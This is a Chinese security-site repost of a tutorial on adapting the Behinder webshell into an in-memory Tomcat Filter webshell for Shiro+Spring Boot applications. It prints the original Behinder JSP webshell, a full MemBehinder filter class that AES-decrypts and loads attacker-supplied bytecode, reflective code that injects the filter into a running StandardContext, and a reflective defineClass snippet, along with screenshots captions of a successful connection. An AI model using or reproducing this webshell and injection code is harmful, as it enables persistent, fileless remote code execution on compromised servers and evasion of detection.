1. 威客安全首页
  2. 安全资讯

冰蝎改造之不改动客户端=>内存马

冰蝎改造之不改动客户端=>内存马

文章来源:零队

前言

做了login me again之后,觉得很有趣,复现完之后开始想着怎么玩点骚的,在我们日常使用中,与其要做一个reGeorge(reGeorge mac内网不解析dns太坑了),实际上大马可能才是正在的需求,而开源工具中还是冰蝎大家最爱用,虽然现在被各种流量检测,但是各家都有自己的免杀手段,所以这里就简单的教大家如何把东西注入shiro+spring环境中(这个环境比较有代表性)

原始的马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }
        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }%><%    if (request.getParameter("pass") != null) {        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);        session.putValue("u", k);        out.print(k);        return;    }    Cipher c = Cipher.getInstance("AES");    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

代码美化之后不难发现,里面使用了Tomact中的PageContext,位于javax.servlet.jsp.PageContext,但是在Springboot中实现的是只有tomcat核心,也就是阉割版本的tomacat,恰好这个是没有的,因此这么获取成了关键

PS: 关于没有PageContext的解决方案,之前已经有了一篇文章https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ ,最大的问题是要修改客户端,对我们这样的菜鸡来说很难,而且还让自己的工具包变臃肿,本次不再改变客户端的情况,完成内存马的注入

改造开始

下面基于读者已经理解了,如何写入reGeorge内存马为基础,如有疑问,请去查看 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 以及login me again wp

  • 首先先了解冰蝎的执行思路

    1. 密钥交换pass,pass存储在session中

    2. AES解码后将传入的数据进行解码,解码后还原要加载的字节码,实例化后,调用equals函数,传入pageContext,通过pageContext带出回显

      String result = buildJson(entity, true);      String key = page.getSession().getAttribute("u").toString();      ServletOutputStream so = page.getResponse().getOutputStream();      so.write(Encrypt(result.getBytes(), key));      so.flush();      so.close();
  • 于是乎我们对PageContxt的要求也就出来了

    1. classname : javax.servlet.jsp.PageContext
    2. 实现 setResponse() getResponse() getSession() setRequest() getResponse()
    3. 这里的response就需要调用当前环境中的response,所以就拿最简单的ServeletRequest,好消息是getSession这个函数也是自带的,就很舒服,只需要cast一下即可。

最后的PageContext

public class PageContext  {    ServletRequest request;    ServletResponse response;

    public Writer getOut(){        return null;    }
    public PageContext(ServletRequest request, ServletResponse response) {        this.request = request;        this.response = response;    }
    public PageContext(){
    }
    public void setRequest(ServletRequest request) {        this.request = request;    }
    public void setResponse(ServletResponse response){        this.response = response;    }
    public HttpSession getSession() {        HttpServletRequest test = (HttpServletRequest) this.request;        return test.getSession();    }

    public ServletRequest getRequest() {        return  this.request;    }

    public ServletResponse getResponse() {        return this.response;    }
}

我们可以尝试注入一下,这里我起了一个简单的shiro+springboot的环境

冰蝎改造之不改动客户端=>内存马
image-20200723214821668

Ps:从github上直接找的环境,可能因为原生不带有commom-collection的包,所以无法打成功

冰蝎改造之不改动客户端=>内存马
image-20200723215145822
  • 这时候我们在VM中查看一下

    冰蝎改造之不改动客户端=>内存马
    image-20200723215635157

发现我们成功注入了一个class,然后我天真的以为只需要像reGeorge一样,把代码复制进去即可

所以有了初始版本的Filter内存冰蝎

踩坑继续

package reGeorg;
import javax.servlet.*;import java.io.IOException;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.el.ELContext;import javax.servlet.http.*;import javax.servlet.jsp.JspWriter;import javax.servlet.jsp.PageContext;import javax.servlet.jsp.el.ExpressionEvaluator;import javax.servlet.jsp.el.VariableResolver;import java.util.Enumeration;import java.util.UUID;
public class MemBehinder implements javax.servlet.Filter{    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }


    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        class User extends ClassLoader {            User(ClassLoader c) {                super(c);            }
            public Class getUsername(byte[] b) {                return super.defineClass(b, 0, b.length);            }        }

        HttpServletRequest request = (HttpServletRequest) servletRequest;        HttpServletResponse response = (HttpServletResponse) servletResponse;        HttpSession session = request.getSession();        response.setHeader("flora", "florasa!!!");        if (request.getParameter("pass") != null) {            String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);            session.putValue("u", k);            response.getWriter().print(k);            return;        }        try{            PageContext pageContext = new PageContext(servletRequest,servletResponse);            Cipher c = Cipher.getInstance("AES");            SecretKeySpec sec = new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES");            c.init(2, sec);            String uploadString = request.getReader().readLine();            ClassLoader loader = this.getClass().getClassLoader();            User user = new User(loader);            byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));            Class username1 = user.getUsername(username);            username1.newInstance().equals(pageContext);        }catch (Exception ignored){            ;        }        filterChain.doFilter(request, response);
    }
    @Override    public void destroy() {
    }    public boolean equals(Object obj) {        Object[] context = (Object[]) obj;        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];        org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];        javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];
        try {            dynamicAddFilter(new MemBehinder(), "Behinder", "/*", request);        } catch (IllegalAccessException e) {            e.printStackTrace();        }
        return true;    }
    public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {        javax.servlet.ServletContext servletContext = request.getServletContext();        if (servletContext.getFilterRegistration(name) == null) {            java.lang.reflect.Field contextField = null;            org.apache.catalina.core.ApplicationContext applicationContext = null;            org.apache.catalina.core.StandardContext standardContext = null;            java.lang.reflect.Field stateField = null;            javax.servlet.FilterRegistration.Dynamic filterRegistration = null;
            try {                contextField = servletContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);                contextField = applicationContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);                stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");                stateField.setAccessible(true);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);                filterRegistration = servletContext.addFilter(name, filter);                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");                filterStartMethod.setAccessible(true);                filterStartMethod.invoke(standardContext, null);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            } catch (Exception e) {                ;            } finally {                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            }        }    }}

报错汇总如下:

1. 无法new一个新的PageContext
2. 无法调用class U中的方法

这时候回忆一下我们的流程:

1. 注入PageContext并实例化
2. 注入冰蝎并实例化

但是我们要思考new是一个怎么样的过程

1.首先去JVM 的方法区中区寻找类的class对象,如果能找到,则按照定义生成对象,找不到则转2
2.加载类定义:类加载器(classLoader)寻找该类的 .class文件,找到后对文件进行分析转换为class对象存入方法区方便以后调用。
    其中jdk 的class一般是在jvm启动时用启动类加载器完成加载,用户的class则是在用到的时候再加载。
    Java中ClassLoader的加载采用了双亲委托机制,采用双亲委托机制加载类的时候采用如下的几个步骤:1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载,如果已经加载则直接返回原来已经加载的类。每个类加载器都有自己的加载缓存,当一个类被加载了以后就会放入缓存,等下次加载的时候就可以直接返回了。2.  当前classLoader的缓存中没有找到被加载的类的时候,委托父类加载器去加载,父类加载器采用同样的策略,首先查看自己的缓存,然后委托父类的父类去加载,一直到bootstrp ClassLoader.3.  当所有的父类加载器都没有加载的时候,再由当前的类加载器加载,并将其放入它自己的缓存中,以便下次有加载请求的时候直接返回。
PS:方法区:在一个jvm实例的内部,类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中
于是即使有了实例化的class,也不能使其在方法区有一席之地,但是他有没有文件,所以就无法被ClassLoader加载,也就导致了上述的问题

解决方案

  1. 自定义的类加载器:

    因为我们不能实例化自己的类加载器,所以我们就使用反射的方法,调用ClassLoard,不过这里也有一个坑点,就是抽象类,是不可以作为invoke()的第一个参数,所以要使用一个他的继承类作为替代品


	Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod(    	            "defineClass",    	            byte[].class,    	            int.class, int.class);    	    method.setAccessible(true);    byte[] evilclass_byte = c.doFinal(evil_bytes);            Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(),                    evilclass_byte,0,                    evilclass_byte.length);

2.PageContext: 由于我们只有一个实例化的class,我的方案就是服用他,将他作为一个属性,注入到冰蝎马的实例过程中,即设置一个含参的构造方法

public MemBehinder2(PageContext pageContext){       this.pageContext = pageContext;    		}
  • 最后实现成果
冰蝎改造之不改动客户端=>内存马
image-20200723222617152
  • 出现密钥交互
冰蝎改造之不改动客户端=>内存马
image-20200723222916478
  • 连接成果
冰蝎改造之不改动客户端=>内存马
image-20200723223133705

总结

  1. 冰蝎出现密钥交互,并不代表成功了,原因在于密钥交互的回显用的并不是PageContext,不能作为我们注入成功的依据
  2. 学会研究报错,报错会告诉我们哪里出了问题
  3. FB师傅tql

冰蝎改造之不改动客户端=>内存马


推荐文章++++

冰蝎改造之不改动客户端=>内存马

*冰蝎,从入门到魔改


冰蝎改造之不改动客户端=>内存马

冰蝎改造之不改动客户端=>内存马

原文始发于微信公众号(黑白之道):冰蝎改造之不改动客户端=>内存马

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论